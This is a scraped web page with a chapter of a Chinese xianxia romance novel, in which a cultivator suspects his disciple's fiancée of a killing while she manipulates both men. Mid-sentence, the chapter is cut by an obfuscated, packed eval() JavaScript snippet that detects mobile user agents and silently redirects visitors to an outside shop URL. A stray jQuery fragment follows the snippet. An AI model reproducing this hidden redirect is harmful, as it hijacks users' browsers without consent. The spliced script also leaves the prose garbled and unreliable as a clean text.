文趣网 > 其他小说 > 女魔修手拿白莲花剧本 > 24.第24章 换衣
    沈翊寒脚步停滞,那道被他召唤出的长剑在一侧静静候着,如刚被搭在弓上的箭羽,隐忍不发,却发出一阵不悦的低鸣。

    “当时段清羽身上满是血迹,我急于带她回来救治,并未注意。”

    听到这般回答,卢青瑶脸色突然凝重,“我还以为师兄早已知晓。”

    “怎么?”沈翊寒蹙起眉头,不大喜欢别人和自己打哑谜。

    “那两具尸体喉间伤口整齐,动手之人出手利落,非一个手无缚鸡之力的凡女所能办到的。”

    沈翊寒闻言紧抿唇线,不发一言,似在思虑这番话所藏深意。

    见他神色紧绷,卢青瑶再次劝慰:“也有可能是我多心了,师兄也不必如临大敌,说不定是你弟子,私下里教过他未婚妻几手,才会如此。”

    沈翊寒却是在她说话间,忽想到二人初次见面时,她执剑刺杀自己时的身手。

    “但近些时日您心绪显然为其所牵,甚至不惜与虞师兄撕破脸皮,青瑶是怕你...”卢青瑶短暂停顿了下,话说得含蓄内敛,“心生杂念而不知。”

    “你多虑了。”沈翊寒生硬打断二人的谈话,“我不过顾及和慕云朗的师徒之情,随手帮衬而已。”

    二人身侧长剑低鸣不止,不断催促它的主人尽快行动,沈翊寒似是被这杂音扰得心情不悦,轻抬指骨,叩了下泛着寒光的剑身。

    聒噪的低鸣瞬间停了下来。

    他面色沉稳,声音清寒:“至于她动手杀人一事,我自会在她苏醒后审问查明,多谢卢师妹提醒。”

    “那便不叨扰师兄了。”

    卢青瑶垂首行礼,沈翊寒道了声告辞,转身上剑,带着重重心事,飞速离开凌天峰。

    *

    四周汪洋一片,卧在小舟上的林默羽,望着船头在击碎的海浪,一时茫然无措。

    自己这是身处何地?又为何会到此处?

    她心中疑窦丛生,还没来得及深究,海面突然掀起汹涌暗潮,如同一只庞大黝黑的怪物,要把所有活物吞入腹中。

    她人带船被海浪拍得起起伏伏,紧紧扣住船舷的手被泡得发白,浑身上下水渍一片,也不知是海水,还是冒出的汗液。

    便在她要跌入黑暗之时,一道清冷的声音传来,替她击碎了混沌不堪的梦魇。

    “人不是醒了么?”

    沈翊寒随着慕云朗进了屋舍,掀开重重帷幔,便见榻上的林默羽惨白着一张脸。

    此时的她秀眉紧蹙,额上、颈上冷汗不断,似是陷入极为痛苦的噩梦当中。

    但不知为何,他开口说话之后,榻上之人情绪却是渐渐沉稳,眉头也舒展开来。

    慕云朗拾起帕子,浸了些温水,擦拭着她的额角:“中途是醒来了,弟子喂了些清水,但不知怎的又昏过去了。”

    动作如此娴熟亲昵,沈翊寒莫名觉得有些刺眼,背在身后的手掌,不自觉间握成拳状。

    可他面上却是若无其事,问道:“没有再发高热?”

    “没有,腹部的伤口也愈合得很快,就是人昏昏沉沉的,不大清醒。”

    听到林默羽没有高热不退,沈翊寒神色略略轻松几分,直接退出幔帐之外,顺便把伺候病人的慕云朗也叫了出来。

    “随我来,我有话要问你。”

    慕云朗擦拭的动作才进行了一半,听到沈翊寒让他停下,心中有些不满。

    “师尊,我这正忙着呢!”

    可沈翊寒挺拔俊秀的身影,却是矗立在中厅不动,也不说话,只轻轻叩桌,俨然一副强人所难的姿态。

    慕云朗无奈,把帕子扔到水中,掀开幔帐,站在桌旁,等着自家师尊训话。

    而已经苏醒过来的林默羽,便在二人相继退出之后,幽幽睁开双眼。

    沈翊寒如玉玦相撞的清越之声,隔着重重叠叠的纱帐,透了进来。

    “你之前可教过她术法、剑术之类的技艺?”

    林默羽闻言心脏一缩。

    当时在义庄那般凶险情境下,她只顾着将段勇夫妇割喉偿命,浑然忘却掩饰自己身手之事。

    现下沈翊寒问及这些,想必是从段勇夫妇的尸体上,察觉出什么端倪来,才会特意询问慕云朗。

    怕沈翊寒再度怀疑,林默羽立刻咳嗽几声,吸引了外面二人注意。

    “小羽醒了。”慕云朗听见这动静,眼睛惊喜一亮,“师尊我去看看。”

    说完,慕云朗也疾步而去,冲进帷帐之内,扶着林默羽起了身。

    重伤尚未痊愈,林默羽四肢绵软,只得靠着慕云朗的胸膛,才能将将支撑片刻,坐着与他们谈话。

    但她嗓子不大舒服,下意识吞了吞唾液,只觉得喉咙像是有无数刀片割过,剧痛难忍。

    她嘶哑着声音,想讨要点清水润润喉,却发现吐出的声音呕哑难听,不成字句。

    扶着她的慕云朗没听清她在说什么,低头问了句什么,一道清泠泠的声音,却是先替她开了口。

    “她想要水。”

    慕云朗当即反应过来,从几案抄过茶杯茶盏,斟了一杯,塞到了林默羽的手中。

    喝水润泽喉咙之时,林默羽隔着幔帐,默默打量了中厅之人几瞬,脑中突然冒出来个好主意。

    女子剧烈的咳嗽声从幔帐内传来,绵软甜腻的嗓音,透着几分沙哑。

    “抱歉云朗,不小心把水都洒在衣裙被褥上了。”

    他侧目望去,只见内里两道原本就贴在一处的影子,因这点意外,又靠近了几分。

    “被褥我去拿套干净的,衣裳柜子里也有,不碍事的。”

    “可尊长还在,我不方便...”林默羽的声音,透着几分犹豫不定。

    听到这里,幔帐外的沈翊寒站起了身,主动道:“我和慕云朗出去。”

    床沿边上的慕云朗,刚要随着自家师尊一同离开,却是被自己未婚妻拽住了衣摆。

    “是不是尊长避开就可以,我浑身疼痛难忍,若是换衣有不便之处,你还可以帮帮我。”说到最后,林默羽的声音越来越低,似是羞赧不已。

    慕云朗望着她眼含秋水的双目,配着一张苍白虚弱的脸,不由让人心中生出几分怜惜之情。

    换成谁,遇见现下这幅场景,都舍不得挪动脚步离开的。

    他刚想和自家师尊商议一番,留在屋内帮忙,却听到房门“哐当”一声,被人用灵力生生扯开。

    那道清高孤寒的身影,二话不说,扔下情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714538|205965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意绵绵的二人,抬步离去。

    慕云朗坐在床沿,望向大敞的门扉,自言自语道:“最近师尊的脾气,好像有点大啊...”

    林默羽掀开被褥,暗中挑了挑眉,不置可否。

    *

    夜色如墨,弯月悬于天际,银白色的清辉洒下,透过雕花窗棂,照进书房,落于一袭霜白玄衣之上。

    玄袍的主人端坐于书案之后,从夕阳西下,到月上中天,一直维持着现在的姿势不动。

    直到稀疏的竹影在他手背晃动了几下,沈翊寒方才撤回手,摸向左侧脖颈。

    手指触及之处,是段清羽意识不清时,嘴唇擦蹭过的地方。

    那般冰凉润泽的触感,就算隔了数日,仍分外清晰。

    可偏偏撩拨她的人,现下什么都不记得,还当着他的面,和自己的未婚夫亲近。

    沈翊寒眸中神色渐暗,那被他刻意压制的气息,又开始在他丹田处躁动不安起来。

    便在此时,书案上书案上一枚纹路繁复,隐约带煞的通信令牌,在黑夜当中闪烁两下。

    沈翊寒并起两指,在暗夜中虚空一划,令牌后顿时传来一道男声。

    “少主,弟兄们这几日按照您的吩咐,几十人去侵扰人栖身的老巢,牵绊住他们大半兵力。剩下的,则在暗中偷袭,捣毁了他们四五个分部,可算是狠狠地出了一口恶气!”

    激动粗犷的声音一出,沈翊寒不由揉了揉发胀的额角,他这个属下说话,还是一如既往地冒失。

    倒是和他上一任的主人脾性相似。

    突然想到故去之人,沈翊寒本就沉郁的心情,此刻又差了几分。

    他打断了对面,声音冷淡沉肃:“除了这些,可还有其他?”

    话音一落,对面果然嘿嘿笑了两声:“少主,我们捣毁分部之时,发现那人暗中扣押了不少凡人与低阶修士,现下虽然都救出来了,但不知您想如何处置。”

    沈翊寒蹙了蹙眉,想到近几年九重岛附近村落,频有百姓失踪的现象。

    “这些人缘何被扣?”

    “尚不清楚,绝大部分都被下了毒,眼盲口哑的,没问出来什么有效信息。”

    沈翊寒忖度了片刻,继而冷静吩咐:“这些人先暂留域内,找几个药修好好诊治,若有人能恢复,问过话后,送回家中。”

    “是。”对面男子恭敬回了一声,和沈翊寒商量着作战策略,“那后面几日的袭击,我们还是按照声东击西之法,混淆视听么?”

    “一种招数不能用两次,后面几日,你们可用...”

    策略讲到了一半,沈翊寒忽然住了口,只因他在交谈间,反应过一件事来。

    “少主,怎么不说话了,您那边又来人了么?”对面之人察觉到他的异样,出言询问。

    “没有。”

    暗夜中,沈翊寒从书案后站起身,打开书房一侧的窗子,望向不远处另一间屋舍。

    那间屋舍灯火明亮,一室昏黄,有道剪影落在窗上,影影绰绰。

    如水的月光洒下,照着他那双漆黑的眼。

    令牌那头的男人,只听得沈翊寒语气幽深,意味不明地说道:“只是突然发现有人,比我更擅长用计。”